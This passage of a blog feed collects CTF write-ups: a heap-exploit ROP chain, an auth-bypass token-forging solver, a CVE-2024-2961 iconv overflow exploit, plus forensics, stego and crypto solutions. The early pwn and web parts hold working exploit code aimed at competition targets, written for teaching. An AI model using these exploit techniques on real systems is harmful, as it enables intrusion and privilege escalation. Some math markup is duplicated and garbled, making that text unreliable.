    rb"username:\s*(0x[0-9a-fA-F]+|\(nil\))\.(0x[0-9a-fA-F]+|\(nil\))\.",
    line
)

pie = int(m.group(1), 16) - OFF_PIE_LEAK_RET
stack_hint = int(m.group(2), 16)

raw = raw_from_show(out)
fp0 = u64(raw[0x40:0x48])

A = fp0 - 0x50
B = A + 0x230

slots = pie + OFF_SLOTS
read_got = pie + OFF_READ_GOT

log.info(f"PIE        = {hex(pie)}")
log.info(f"stack hint = {hex(stack_hint)}")
log.info(f"FILE0      = {hex(fp0)}")
log.info(f"slots[]    = {hex(slots)}")

reg(b"B" * 0x3f + b"\n")

upd(0, b"C" * 0x40 + p64x(fp0) + p64x(0x51))
dele(0)

reg(b"D" * 0x3f + b"\n")
reg(b"E" * 0x3f + b"\n")

dele(0)
dele(1)

enc = slots ^ (B &gt;&gt; 12)
upd(2, b"F" * 0x1e0 + p64x(enc) + p64x(0))

reg(b"G" * 0x3f + b"\n")
reg(p64x(0) + p64x(0) + p64x(0) + p64x(0))

log.success("controlled slots[]")

read_addr = u64(leak48(read_got)[:8])
libc.address = read_addr - libc.sym["read"]

log.success(f"libc base = {hex(libc.address)}")

stack_ret = find_stack_ret(stack_hint)
log.success(f"stack ret = {hex(stack_ret)}")

cmd_addr = slots + 0x80

payload = flat(
    p64x(stack_ret),
    p64x(slots),
    p64x(0),
    p64x(0),
)

payload = payload.ljust(0x80, b"\x00") + b"cat /flag.txt\x00"
upd(1, payload)

rop = make_system_rop(cmd_addr)

menu(4)
io.recvuntil(b"slot: ")
io.sendline(b"0")
io.recvuntil(b"new username: ")
io.send(rop.ljust(0x200, b"\x00"))

print(io.recvall(timeout=3).decode(errors="ignore"))
</code></pre>
<p>Flag:
<code>NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}</code></p>
<hr />
<h2>Confused Component - Rev</h2>
<ul>
<li>Author: hsuan0223x</li>
</ul>
<p>這題是 Web 題的延伸。先用 Web 題找到的 static handler bypass 洩漏同一個 instance 的 <code>auth</code> component，接著從 wasm 裡找出 <code>CCVM1</code> blob，實作 VM 後對 admin payload 算 proof。最後把 <code>{uid, team, exp, nonce, proof}</code> 做 canonical JSON，再 base64url 成 Bearer token 打 <code>/admin/flag</code>。</p>
<p>Exploit:</p>
<ol>
<li>從同一個 instance leak component：<code>/assets/manual.css;handler=component;name=auth</code></li>
<li>在 wasm 裡搜尋 <code>CCVM1</code>，切出 constants 和 bytecode</li>
<li>從 <code>/api/info</code> 拿 <code>team</code> 和 <code>server_time</code></li>
<li>nonce = <code>sha256(f"{team}:{server_time}")[:16]</code></li>
<li>對 admin core payload 做 canonical JSON</li>
<li>用 VM 跑出 32 bytes proof</li>
<li>final payload 加上 proof 後 base64url，作為 <code>Authorization: Bearer &lt;token&gt;</code> 打 <code>/admin/flag</code></li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import base64, hashlib, json, struct, sys
import requests

BASE = sys.argv[1].rstrip("/")
MASK = 0xffffffff

def b64(x):
    return base64.urlsafe_b64encode(x).rstrip(b"=").decode()

def canon(o):
    return json.dumps(o, separators=(",", ":"), sort_keys=True).encode()

def u32(b, i):
    return struct.unpack_from("&lt;I", b, i)[0]

def rol(x, n):
    x &amp;= MASK
    n &amp;= 31
    return ((x &lt;&lt; n) | (x &gt;&gt; (32 - n))) &amp; MASK

def get_component():
    r = requests.get(BASE + "/assets/manual.css;handler=component;name=auth")
    r.raise_for_status()
    return r.content

def parse_ccvm(wasm):
    p = wasm.find(b"CCVM1")
    assert p != -1
    clen, blen = struct.unpack_from("&lt;HH", wasm, p + 5)
    constants = wasm[p + 9:p + 9 + clen]
    bytecode = wasm[p + 9 + clen:p + 9 + clen + blen]
    return constants, bytecode

def run_vm(code, const, inp):
    r = [0] * 8
    mem = bytearray(256)
    ip = 0

    while True:
        op = code[ip]
        ip += 1

        if op == 0x01:
            a = code[ip]
            r[a] = u32(code, ip + 1)
            ip += 5
        elif op == 0x02:
            a, off = code[ip], code[ip + 1]
            r[a] = u32(inp, off)
            ip += 2
        elif op == 0x03:
            a, idx = code[ip], code[ip + 1]
            r[a] = u32(const, idx * 4)
            ip += 2
        elif op == 0x04:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] ^ r[b]) &amp; MASK
            ip += 2
        elif op == 0x05:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] + r[b]) &amp; MASK
            ip += 2
        elif op == 0x06:
            a, n = code[ip], code[ip + 1]
            r[a] = rol(r[a], n)
            ip += 2
        elif op == 0x07:
            a, b = code[ip], code[ip + 1]
            r[a] = (r[a] * r[b]) &amp; MASK
            ip += 2
        elif op == 0x08:
            off, a = code[ip], code[ip + 1]
            mem[off:off + 4] = struct.pack("&lt;I", r[a] &amp; MASK)
            ip += 2
        elif op == 0x09:
            a, off = code[ip], code[ip + 1]
            r[a] = u32(mem, off)
            ip += 2
        elif op == 0x0a:
            dst, a, b = code[ip], code[ip + 1], code[ip + 2]
            r[dst] = ((r[a] ^ rol(r[b], 9)) + 0x9e3779b9) &amp; MASK
            ip += 3
        elif op == 0x0b:
            a = code[ip]
            rel = struct.unpack("b", code[ip + 1:ip + 2])[0]
            ip += 2
            if r[a]:
                ip += rel
        elif op == 0xff:
            return bytes(mem[:32])
        else:
            raise Exception(f"bad opcode {op:#x}")

wasm = get_component()
const, code = parse_ccvm(wasm)

info = requests.get(BASE + "/api/info").json()
team = info["team"]
server_time = int(info["server_time"])
nonce = hashlib.sha256(f"{team}:{server_time}".encode()).digest()[:16]

core = {
    "uid": "admin",
    "team": team,
    "exp": server_time + 900,
    "nonce": b64(nonce),
}

c = canon(core)
inp = (
    hashlib.sha256(c).digest()
    + nonce
    + hashlib.sha256(nonce + c + const[:16]).digest()
)

proof = run_vm(code, const, inp)

token_payload = dict(core)
token_payload["proof"] = b64(proof)
token = b64(canon(token_payload))

r = requests.get(
    BASE + "/admin/flag",
    headers={"Authorization": "Bearer " + token},
)

print(r.text)
</code></pre>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>TSCCTF 2026 writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/tscctf-2026-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/tscctf-2026-writeup</guid>
      <updated>2026-03-03T00:00:00.000Z</updated>
      <pubDate>2026-03-03T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.C23Fu114_oFLxh.webp" alt="TSCCTF 2026 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>前言</h2>
<p>這是我第一次打 TSCCTF，這應該是辦給大學生打的 CTF，不過有公開組就來體驗一下，最後也是打到第 13 名。雖然有些題目是 AI 打出來的，但是也讓我學到很多！</p>
<img src="https://hackmd.io/_uploads/BJ5WiSNY-e.png" alt="image" />
<img src="https://hackmd.io/_uploads/Skrt6rVKZe.png" alt="image" />
<hr />
<h2>Pwn</h2>
<h3>Magic Word</h3>
<p>程式讀取一行字串後會呼叫</p>
<pre><code>iconv_open("ISO-2022-CN-EXT", "UTF-8");
iconv(cd, &amp;inptr, &amp;inlen, &amp;outptr, &amp;outlen);
</code></pre>
<p>且輸出 buffer 與 magic 放在同一個 packed struct：</p>
<pre><code>struct {
  char output[32];
  uint32_t magic;
} __attribute__((packed)) ctx;
</code></pre>
<p>最後檢查</p>
<pre><code>if (ctx.magic != 0) win();
</code></pre>
<p>所以只要讓 <code>ctx.magic</code> 變成非 0 就能進入 <code>win()</code> 拿到 shell。</p>
<p>經過搜尋後發現這其實是 CVE-2024-2961</p>
<p>漏洞原理參考：<a href="https://hackmd.io/@yjk930805/HJzCZdtLxx" rel="noopener noreferrer" target="_blank">https://hackmd.io/@yjk930805/HJzCZdtLxx</a></p>
<pre><code>from pwn import *

context.binary = ELF("./magic_word")
context.log_level = "info"

io = remote("172.31.3.2", 40002)

payload = b"A" * 31 + "劄".encode("utf-8")

io.recvuntil(b"Magic word: ")
io.sendline(payload)

io.interactive()
</code></pre>
<img src="https://hackmd.io/_uploads/rkpShHEtWg.png" alt="image" />
<blockquote><p>writeup 尚未完成</p></blockquote>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category><category>Writeup</category>
    </item>
    <item>
      <title>PwnSec CTF 2025 Forensics-HiddenData writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup</guid>
      <updated>2025-11-18T00:00:00.000Z</updated>
      <pubDate>2025-11-18T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.C5hLxhH6_snuvB.webp" alt="PwnSec CTF 2025 Forensics-HiddenData writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2906" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2906</a></h4>
<img src="https://hackmd.io/_uploads/r1bVWa_e-l.png" alt="image" />
<p>下載後會發現是一個Windows的檔案
<img src="https://hackmd.io/_uploads/r1OvGauebe.png" alt="image" /></p>
<p>題目敘述提到了 chatting ，所以可能跟 Discord 有關<br />
上網找了一下有關 Discord chatting Forensics 的資料<br />
找到這篇報告 <a href="https://scispace.com/pdf/discord-server-forensics-analysis-and-extraction-of-digital-ci00a3c2ep.pdf" rel="noopener noreferrer" target="_blank">link</a><br />
可以發現 Discord 的聊天紀錄都會儲存在 <code>\AppData\Roaming\discord\Cache\Cache_Data</code> 這個快取裡面，並且報告中提到可以使用 <a href="https://www.nirsoft.net/utils/chrome_cache_view.html" rel="noopener noreferrer" target="_blank">ChromeCacheView</a> 這個工具檢視 Discord 的快取檔案<br /></p>
<img src="https://hackmd.io/_uploads/BJ-5Naug-g.png" alt="image" />
<p>找到有 <code>/messages?limit=50</code> 的檔案<br />
打開後可以發現這個<br /></p>
<pre><code>  {
    "type": 0,
    "content": "Got it I'll copy it now",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:18:20.453000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433762006892023870",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1377987216671772784",
      "username": "username12345_12345",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "After 5 minutes, the password will be deleted.",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:17:47.513000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761868731912332",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "Here’s the secret link — https://pastebin.com/AAGyxC3p",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [
      {
        "type": "link",
        "url": "https://pastebin.com/AAGyxC3p",
        "title": "Pastebin.com - Locked Paste",
        "description": "Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.",
        "provider": {
          "name": "Pastebin"
        },
        "content_scan_version": 0
      }
    ],
    "timestamp": "2025-10-31T10:17:20.211000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761754219020439",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
</code></pre>
<p>發現 <code>https://pastebin.com/AAGyxC3p</code><br />
但進去後要輸入密碼才能打開<br />
從聊天紀錄推測出他複製了密碼<br />
所以必須從 Windows 的紀錄中找到他到底複製了什麼<br />
上網爬了一下資料發現這個文章 <a href="https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html" rel="noopener noreferrer" target="_blank">link</a><br />
使用者的很多行為都會記錄在 <code>\AppData\Local\ConnectedDevicesPlatform\&lt;id&gt;\ActivitiesCache.db</code> 之下<br />
這邊使用 DB Browser for SQLite 去看這個 database<br /></p>
<img src="https://hackmd.io/_uploads/BJMCUTOgZx.png" alt="image" />
<p>解碼 base64 之後發現密碼是 <code>Th1$_1$_r3@l_p@$$w0rd!</code></p>
<p>貼到剛剛對話中出現的連結後就可以拿到 flag 了</p>
<img src="https://hackmd.io/_uploads/H1smDa_ebl.png" alt="image" />
<p>Flag: <code>flag{12d65e001866f854c23a48f0d47957ed}</code></p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>V1t CTF 2025 writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/v1t-ctf-2025-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/v1t-ctf-2025-writeup</guid>
      <updated>2025-11-03T00:00:00.000Z</updated>
      <pubDate>2025-11-03T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.VnWpD0uG_1AeT2C.webp" alt="V1t CTF 2025 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2920" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2920</a></h4>
<blockquote><p>Author: xzhiyouu</p></blockquote>
<p><strong>Please don’t mind my broken English.</strong></p>
<p>This is the first CTF I played with <a href="https://ctftime.org/team/113364" rel="noopener noreferrer" target="_blank">Flagaholic</a>.<br />
We got TOP 5 in the end.<br />
There were a total of 1237 participating teams.<br />
Thanks to my teammate and I <br />
Final Scoreboard here~<br />
<img src="https://hackmd.io/_uploads/S1hC_lHkZe.png" alt="image" /></p>
<p>I will write writeups for some interesting or guessy challenges.</p>
<hr />
<h3>[Misc] Dont Bother</h3>
<img src="https://hackmd.io/_uploads/rkjB2eHyZl.png" alt="image" />
<p>This challenge was too guessy, so out of more than 1,200 teams, only 16 managed to solve it.</p>
<p>Here’s my solution.</p>
<p>The image is 512×512 and in RGB format. Most pixels share the same base color (64, 77, 205).</p>
<p>Some pixels have been increased by 2 in certain channels (only 0 or +2, never a decrease), so they differ slightly from the base color.</p>
<p>The image is divided into many small square blocks, and only those along the main diagonal contain these “+2 footprints.”</p>
<p>In each diagonal block, if you sum up all the “+2 occurrences” of its pixels, you get an integer.</p>
<p>That sequence of integers represents ASCII codes, which together form the flag.</p>
<p>Solution code~</p>
<pre><code>from PIL import Image
import numpy as np

img = Image.open("chal.jpg").convert("RGB")
arr = np.array(img, dtype=np.uint8)
base = np.array([64, 77, 205], dtype=np.int32)

delta = arr.astype(np.int32) - base
steps = np.clip(delta, 0, None) // 2
steps = steps.sum(axis=2)

n = 32
h, w = steps.shape
bh, bw = h // n, w // n
codes = []
for i in range(n):
    block = steps[i*bh:(i+1)*bh, i*bw:(i+1)*bw]
    codes.append(block.sum())

flag = ''.join(chr(c) for c in codes).rstrip('\x00')
print(flag)
# v1t{c4nt_B3_both3r3d_vnkud1837}
</code></pre>
<p>GUESSY CHALL :&gt;</p>
<hr />
<h3>[Misc] MOOOO</h3>
<img src="https://hackmd.io/_uploads/ryLPnlHybe.png" alt="image" />
<p>This is a cool challenge lol</p>
<p>You can find comment with COW programming language through exiftool.</p>
<p>After running the code, we got <code>thismaybeapasswordbutwhoreallyknowsimjustmessginitisapassword</code></p>
<p>Do steghide to <code>MOOOO.jpeg</code>, and got <code>TRYYY.txt</code>
there are many invisible spaces in the .txt file</p>
<p>Since I played SCIST Final CTF before, someone made a <a href="https://github.com/Morexsyan/stegburp/" rel="noopener noreferrer" target="_blank">tool</a> for solving this problem.</p>
<p>Got the flag <code>v1t{D0wn_Th3_St3gN0_R4bb1t_H0l3}</code></p>
<hr />
<h3>[Forensics] Tryna crack?</h3>
<img src="https://hackmd.io/_uploads/B1XobfBJbg.png" alt="image" />
<p>This challenge also guessy, many people try to brute force the zip file password, but actually you can solve it with the tool “<a href="https://github.com/kimci86/bkcrack/releases" rel="noopener noreferrer" target="_blank">bkcrack</a>”</p>
<p>I got <code>quackquackquack.png</code> after extracting <code>challenge.zip</code>.</p>
<p>After checking with exiftool, I found a comment that says
<code>password for zip file =)))) D4mn_br0_H0n3y_p07_7yp3_5h1d</code></p>
<p>BUT THE FLAG ISN’T <code>v1t{D4mn_br0_H0n3y_p07_7yp3_5h1d}</code></p>
<p>lots of people are stuck here lol</p>
<p>I looked deeper and tried adjusting the image’s width and height, then got this.</p>
<img src="https://hackmd.io/_uploads/ryh34MSyWe.png" alt="image" />
<p>The Morse code below translates to “SHA512.”</p>
<p>So it’s clear that the flag is supposed to be the SHA-512 of <code>D4mn_br0_H0n3y_p07_7yp3_5h1d</code>.</p>
<p>Got flag <code>v1t{7083748baa3a42dc0a93811e4f5150e7ae1a050a0929f8c304f707c8c44fc95d86c476d11c9e56709edc30eba5f2d82396f426d93870b56b1a9573eaac8d0373}</code></p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>osu!gamingCTF 2025 writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/osugamingctf-2025-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/osugamingctf-2025-writeup</guid>
      <updated>2025-10-28T00:00:00.000Z</updated>
      <pubDate>2025-10-28T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.DCSY4Tzf_Z1jiK1H.webp" alt="osu!gamingCTF 2025 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<img src="https://hackmd.io/_uploads/B1OInGT0lx.png" alt="image" />
<p>這幾天準備模考有點累，剛好看到有好玩的CTF，主要還是打crypto，這次8題打出5題，覺得還行，找幾題有趣的題目寫writeup。</p>
<p>I’ve been a bit tired these days preparing for the GSAT, and I happened to come across an interesting CTF. I mainly focused on crypto challenges. There were 8 problems this time, and I solved 5 of them, which I think is pretty decent. I’m planning to write writeups for a few of the more interesting ones.</p>
<hr />
<h3>rot727</h3>
<blockquote><p>i rotated my flag 727 times! that’s super secure right</p></blockquote>
<p><code>aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}</code></p>
<img src="https://hackmd.io/_uploads/SkyPIX60lg.png" alt="image" />
<p>就凱撒加密
Caesar Cipher</p>
<p>Flag: <code>osu{oh_wait_bigger_number_doesnt_mean_more_secure}</code></p>
<hr />
<h3>ssss</h3>
<blockquote><p>can you ss this secret sharing scheme?</p></blockquote>
<p><code>nc ssss.challs.sekai.team 1337</code></p>
<img src="https://hackmd.io/_uploads/r16F3M6Rxl.png" alt="image" />
<pre><code>#!/usr/local/bin/python3
from Crypto.Util.number import *
import random

p = 2**255 - 19
k = 15
SECRET = random.randrange(0, p)

def lcg(x, a, b, p):
    return (a * x + b) % p

a = random.randrange(0, p)
b = random.randrange(0, p)
poly = [SECRET]
while len(poly) != k: poly.append(lcg(poly[-1], a, b, p))

def evaluate_poly(f, x):
    return sum(c * pow(x, i, p) for i, c in enumerate(f)) % p

print("welcome to ssss", flush=True)
for _ in range(k - 1):
    x = int(input())
    assert 0 &lt; x &lt; p, "no cheating!"
    print(evaluate_poly(poly, x), flush=True)

if int(input("secret? ")) == SECRET:
    FLAG = open("flag.txt").read()
    print(FLAG, flush=True)
</code></pre>
<hr />
<h4>解法：</h4>
<p>假設質數 <span><span>p=2255−19p = 2^{255} - 19</span><span><span><span></span><span>p</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>255</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>19</span></span></span></span></p>
<p>現有一個未知的 <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> 次多項式</p>
<span><span><span>f(x)=∑i=014cixi∈Fp[x]f(x) = \sum_{i=0}^{14} c_i x^i \in \mathbb{F}_p[x]</span><span><span><span></span><span>f</span><span>(</span><span>x</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>14</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span></span></span></span></span><span></span><span>∈</span><span></span></span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>[</span><span>x</span><span>]</span></span></span></span></span>
<p>其係數滿足遞推關係：</p>
<span><span><span>ci+1≡aci+b(modp)c_{i+1} \equiv a c_i + b \pmod{p}</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>≡</span><span></span></span><span><span></span><span>a</span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>b</span><span></span><span></span></span><span><span></span><span>(</span><span><span><span>mod</span></span></span><span></span><span>p</span><span>)</span></span></span></span></span>
<p>我們可以查詢 <span><span>ff</span><span><span><span></span><span>f</span></span></span></span>  在任意 <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> 個非零點的值，目標是求出 <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p>
<p>首先，對 <span><span>f(x)f(x)</span><span><span><span></span><span>f</span><span>(</span><span>x</span><span>)</span></span></span></span> 在 <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> 個非零點進行查詢，可以得到包含 <span><span>c0,c1,…,c14c_0, c_1, \dots, c_{14}</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span>…</span><span></span><span>,</span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>14</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 的 <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> 條線性方程式。<br />
由於變數共有 <span><span>1515</span><span><span><span></span><span>15</span></span></span></span> 個，透過高斯消元可以將每個 <span><span>cic_i</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 表示為 <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 的線性函數。</p>
<p>由遞推關係可得：</p>
<span><span><span>(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)(c_{i+2} - c_{i+1})^2 \equiv (c_{i+1} - c_i)(c_{i+3} - c_{i+2}) \pmod{p}</span><span><span><span></span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>2</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>≡</span><span></span></span><span><span></span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>3</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>2</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span></span></span><span><span></span><span>(</span><span><span><span>mod</span></span></span><span></span><span>p</span><span>)</span></span></span></span></span>
<p>將前一步的線性表示代入，可得到一個關於 <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 的二次方程式。</p>
<p>最後，在 <span><span>modmod</span><span><span><span></span><span>m</span><span>o</span><span>d</span></span></span></span> <span><span>pp</span><span><span><span></span><span>p</span></span></span></span> 下對此二次方程求解，並透過二次剩餘檢查來確定正確的 <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p>
<hr />
<h4>Solution:</h4>
<p>Assume the prime <span><span>p=2255−19p = 2^{255} - 19</span><span><span><span></span><span>p</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>255</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>19</span></span></span></span></p>
<p>We have an unknown degree-<span><span>1414</span><span><span><span></span><span>14</span></span></span></span> polynomial</p>
<span><span><span>f(x)=∑i=014cixi∈Fp[x]f(x) = \sum_{i=0}^{14} c_i x^i \in \mathbb{F}_p[x]</span><span><span><span></span><span>f</span><span>(</span><span>x</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>14</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span></span></span></span></span><span></span><span>∈</span><span></span></span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>[</span><span>x</span><span>]</span></span></span></span></span>
<p>whose coefficients satisfy the recurrence:</p>
<span><span><span>ci+1≡aci+b(modp)c_{i+1} \equiv a c_i + b \pmod{p}</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>≡</span><span></span></span><span><span></span><span>a</span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>b</span><span></span><span></span></span><span><span></span><span>(</span><span><span><span>mod</span></span></span><span></span><span>p</span><span>)</span></span></span></span></span>
<p>We are allowed to query the value of <span><span>ff</span><span><span><span></span><span>f</span></span></span></span> at any <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> non-zero points, and the goal is to determine <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>.</p>
<p>First, by querying <span><span>f(x)f(x)</span><span><span><span></span><span>f</span><span>(</span><span>x</span><span>)</span></span></span></span> at <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> distinct non-zero points, we obtain <span><span>1414</span><span><span><span></span><span>14</span></span></span></span> linear equations involving <span><span>c0,c1,…,c14c_0, c_1, \dots, c_{14}</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span>…</span><span></span><span>,</span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>14</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>.<br />
